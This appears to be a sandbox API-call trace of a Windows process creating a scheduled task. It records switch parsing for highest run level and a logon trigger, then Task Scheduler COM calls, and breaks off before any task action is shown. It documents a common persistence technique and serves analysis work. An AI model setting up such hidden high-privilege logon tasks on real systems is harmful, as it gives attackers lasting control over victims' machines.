[0117.943] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0117.943] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.943] lstrlenW (lpString="tn") returned 2 [0117.943] lstrlenW (lpString="tn") returned 2 [0117.943] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.943] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.943] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.943] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.943] lstrlenW (lpString="|tn|") returned 4 [0117.943] lstrlenW (lpString="|f|") returned 3 [0117.943] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0117.943] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.943] lstrlenW (lpString="tr") returned 2 [0117.944] lstrlenW (lpString="tr") returned 2 [0117.944] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.944] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.944] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.944] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.944] lstrlenW (lpString="|tr|") returned 4 [0117.944] lstrlenW (lpString="|f|") returned 3 [0117.944] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0117.944] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.944] lstrlenW (lpString="st") returned 2 [0117.944] lstrlenW (lpString="st") returned 2 [0117.944] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.944] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.944] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|st|") returned 4 [0117.944] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.944] lstrlenW (lpString="|st|") returned 4 [0117.944] lstrlenW (lpString="|f|") returned 3 [0117.944] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0117.944] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.944] lstrlenW (lpString="sd") returned 2 [0117.944] lstrlenW (lpString="sd") returned 2 [0117.944] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.944] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.944] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sd|") returned 4 [0117.944] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.944] lstrlenW (lpString="|sd|") returned 4 [0117.944] lstrlenW (lpString="|f|") returned 3 [0117.945] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0117.945] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.945] lstrlenW (lpString="ed") returned 2 [0117.945] lstrlenW (lpString="ed") returned 2 [0117.945] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.945] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.945] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ed|") returned 4 [0117.945] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.945] lstrlenW (lpString="|ed|") returned 4 [0117.945] lstrlenW (lpString="|f|") returned 3 [0117.945] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0117.945] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.945] lstrlenW (lpString="it") returned 2 [0117.945] lstrlenW (lpString="it") returned 2 [0117.945] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.945] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.945] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|it|") returned 4 [0117.945] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.945] lstrlenW (lpString="|it|") returned 4 [0117.945] lstrlenW (lpString="|f|") returned 3 [0117.945] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0117.945] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.945] lstrlenW (lpString="et") returned 2 [0117.945] lstrlenW (lpString="et") returned 2 [0117.945] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.945] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.945] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|et|") returned 4 [0117.945] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.945] lstrlenW (lpString="|et|") returned 4 [0117.946] lstrlenW (lpString="|f|") returned 3 [0117.946] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0117.946] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.946] lstrlenW (lpString="k") returned 1 [0117.946] lstrlenW (lpString="k") returned 1 [0117.946] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.946] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.946] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|k|") returned 3 [0117.946] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.946] lstrlenW (lpString="|k|") returned 3 [0117.946] lstrlenW (lpString="|f|") returned 3 [0117.946] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0117.946] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.946] lstrlenW (lpString="du") returned 2 [0117.946] lstrlenW (lpString="du") returned 2 [0117.946] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.946] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.946] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|du|") returned 4 [0117.946] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.946] lstrlenW (lpString="|du|") returned 4 [0117.946] lstrlenW (lpString="|f|") returned 3 [0117.946] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0117.946] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.946] lstrlenW (lpString="ri") returned 2 [0117.946] lstrlenW (lpString="ri") returned 2 [0117.946] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.946] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.946] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ri|") returned 4 [0117.947] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.947] lstrlenW (lpString="|ri|") returned 4 [0117.947] lstrlenW (lpString="|f|") returned 3 [0117.947] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0117.947] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.947] lstrlenW (lpString="z") returned 1 [0117.947] lstrlenW (lpString="z") returned 1 [0117.947] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.947] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.947] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|z|") returned 3 [0117.947] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.947] lstrlenW (lpString="|z|") returned 3 [0117.947] lstrlenW (lpString="|f|") returned 3 [0117.947] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0117.947] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.947] lstrlenW (lpString="f") returned 1 [0117.947] lstrlenW (lpString="f") returned 1 [0117.947] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.947] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.947] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.947] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.947] lstrlenW (lpString="|f|") returned 3 [0117.947] lstrlenW (lpString="|f|") returned 3 [0117.947] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0117.947] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.947] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.947] GetProcessHeap () returned 0x2159bc10000 [0117.947] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b6e0 [0117.947] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.948] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0117.948] lstrlenW (lpString="LIMITED") returned 7 [0117.948] GetProcessHeap () returned 0x2159bc10000 [0117.948] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x10) returned 0x2159bc1aa50 [0117.948] GetThreadLocale () returned 0x409 [0117.948] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0117.948] GetProcessHeap () returned 0x2159bc10000 [0117.948] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b6b0 [0117.948] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.948] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0117.948] lstrlenW (lpString="HIGHEST") returned 7 [0117.948] GetProcessHeap () returned 0x2159bc10000 [0117.948] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x10) returned 0x2159bc1a870 [0117.948] GetThreadLocale () returned 0x409 [0117.948] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0117.948] GetProcessHeap () returned 0x2159bc10000 [0117.948] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b9e0 [0117.948] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.948] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0117.948] lstrlenW (lpString="MINUTE") returned 6 [0117.948] GetProcessHeap () returned 0x2159bc10000 [0117.948] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xe) returned 0x2159bc1aa30 [0117.948] GetThreadLocale () returned 0x409 [0117.948] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0117.948] GetProcessHeap () returned 0x2159bc10000 [0117.948] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b770 [0117.948] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.948] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0117.949] lstrlenW (lpString="HOURLY") returned 6 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xe) returned 0x2159bc1aaf0 [0117.949] GetThreadLocale () returned 0x409 [0117.949] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b9b0 [0117.949] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.949] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0117.949] lstrlenW (lpString="DAILY") returned 5 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xc) returned 0x2159bc1a890 [0117.949] GetThreadLocale () returned 0x409 [0117.949] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b680 [0117.949] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.949] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0117.949] lstrlenW (lpString="WEEKLY") returned 6 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xe) returned 0x2159bc1aa70 [0117.949] GetThreadLocale () returned 0x409 [0117.949] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b8f0 [0117.949] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.949] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0117.949] lstrlenW (lpString="MONTHLY") returned 7 [0117.949] GetProcessHeap () returned 0x2159bc10000 [0117.949] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x10) returned 0x2159bc1aa90 [0117.950] GetThreadLocale () returned 0x409 [0117.950] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0117.950] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.950] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0117.950] lstrlenW (lpString="ONCE") returned 4 [0117.950] GetProcessHeap () returned 0x2159bc10000 [0117.950] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xa) returned 0x2159bc1a990 [0117.950] GetThreadLocale () returned 0x409 [0117.950] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0117.950] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.950] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0117.963] lstrlenW (lpString="ONSTART") returned 7 [0117.963] GetThreadLocale () returned 0x409 [0117.963] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0117.963] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.963] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0117.963] lstrlenW (lpString="ONLOGON") returned 7 [0117.963] GetThreadLocale () returned 0x409 [0117.963] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0117.963] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.963] GetProcessHeap () returned 0x2159bc10000 [0117.963] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x1fc) returned 0x2159bc1ab90 [0117.963] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.963] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0117.963] lstrlenW (lpString="First") returned 5 [0117.963] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.963] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0117.963] lstrlenW (lpString="Second") returned 6 [0117.963] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0117.964] lstrlenW (lpString="Third") returned 5 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0117.964] lstrlenW (lpString="Fourth") returned 6 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0117.964] lstrlenW (lpString="Last") returned 4 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0117.964] lstrlenW (lpString="First") returned 5 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0117.964] lstrlenW (lpString="Second") returned 6 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0117.964] lstrlenW (lpString="Third") returned 5 [0117.964] GetProcessHeap () returned 0x2159bc10000 [0117.964] GetProcessHeap () returned 0x2159bc10000 [0117.964] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a990) returned 1 [0117.964] GetProcessHeap () returned 0x2159bc10000 [0117.964] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a990) returned 0xa [0117.964] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a990) returned 1 [0117.964] GetProcessHeap () returned 0x2159bc10000 [0117.964] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xc) returned 0x2159bc1aab0 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.964] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0117.964] lstrlenW (lpString="Fourth") returned 6 [0117.964] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.965] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0117.965] lstrlenW (lpString="Last") returned 4 [0117.965] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23d6e7c3e0, cchData=128 | out: lpLCData="0") returned 2 [0117.965] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.965] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0117.965] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0117.965] GetProcessHeap () returned 0x2159bc10000 [0117.965] GetProcessHeap () returned 0x2159bc10000 [0117.965] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa50) returned 1 [0117.965] GetProcessHeap () returned 0x2159bc10000 [0117.965] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aa50) returned 0x10 [0117.965] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aa50) returned 1 [0117.965] GetProcessHeap () returned 0x2159bc10000 [0117.965] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x16) returned 0x2159bc1aa50 [0117.965] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23d6e7c400, cchData=128 | out: lpLCData="0") returned 2 [0117.965] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.965] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0117.965] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0117.965] GetProcessHeap () returned 0x2159bc10000 [0117.966] GetProcessHeap () returned 0x2159bc10000 [0117.966] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a870) returned 1 [0117.966] GetProcessHeap () returned 0x2159bc10000 [0117.966] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a870) returned 0x10 [0117.966] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a870) returned 1 [0117.966] GetProcessHeap () returned 0x2159bc10000 [0117.966] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x16) returned 0x2159bc1aad0 [0117.966] GetLocalTime (in: lpSystemTime=0x23d6e7c638 | out: lpSystemTime=0x23d6e7c638*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x29, wMilliseconds=0x15a)) [0117.966] GetLocalTime (in: lpSystemTime=0x23d6e7d028 | out: lpSystemTime=0x23d6e7d028*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x29, wMilliseconds=0x15a)) [0117.966] lstrlenW (lpString="") returned 0 [0117.966] lstrlenW (lpString="") returned 0 [0117.966] lstrlenW (lpString="") returned 0 [0117.966] lstrlenW (lpString="") returned 0 [0117.966] lstrlenW (lpString="") returned 0 [0117.966] lstrlenW (lpString="") returned 0 [0117.966] lstrlenW (lpString="") returned 0 [0117.966] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.975] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0118.058] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x23d6e7cd80 | out: ppv=0x23d6e7cd80*=0x2159bf156e0) returned 0x0 [0118.077] TaskScheduler:ITaskService:Connect (This=0x2159bf156e0, serverName=0x23d6e7ce70*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x23d6e7ce40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x23d6e7ce20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23d6e7ce00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0118.116] TaskScheduler:ITaskService:GetFolder (in: This=0x2159bf156e0, Path=0x0, ppFolder=0x23d6e7cf60 | out: ppFolder=0x23d6e7cf60*=0x2159bf15830) returned 0x0 [0118.156] TaskScheduler:ITaskService:NewTask (in: This=0x2159bf156e0, flags=0x0, ppDefinition=0x23d6e7cf38 | out: ppDefinition=0x23d6e7cf38*=0x2159bf158b0) returned 0x0 [0118.157] ITaskDefinition:get_Actions (in: This=0x2159bf158b0, ppActions=0x23d6e7ce80 | out: ppActions=0x23d6e7ce80*=0x2159bf15940) returned 0x0 [0118.157] IActionCollection:Create (in: This=0x2159bf15940, Type=0, ppAction=0x23d6e7cec0 | out: ppAction=0x23d6e7cec0*=0x2159bf15d50) returned 0x0 [0118.157] IUnknown:Release (This=0x2159bf15d50) returned 0x1 [0118.157] IUnknown:Release (This=0x2159bf15940) returned 0x1 [0118.157] ITaskDefinition:get_Triggers (in: This=0x2159bf158b0, ppTriggers=0x23d6e7ca30 | out: ppTriggers=0x23d6e7ca30*=0x2159bf15c00) returned 0x0 [0118.157] ITriggerCollection:Create (in: This=0x2159bf15c00, Type=9, ppTrigger=0x23d6e7ca18 | out: ppTrigger=0x23d6e7ca18*=0x2159bf15de0) returned 0x0 [0118.158] 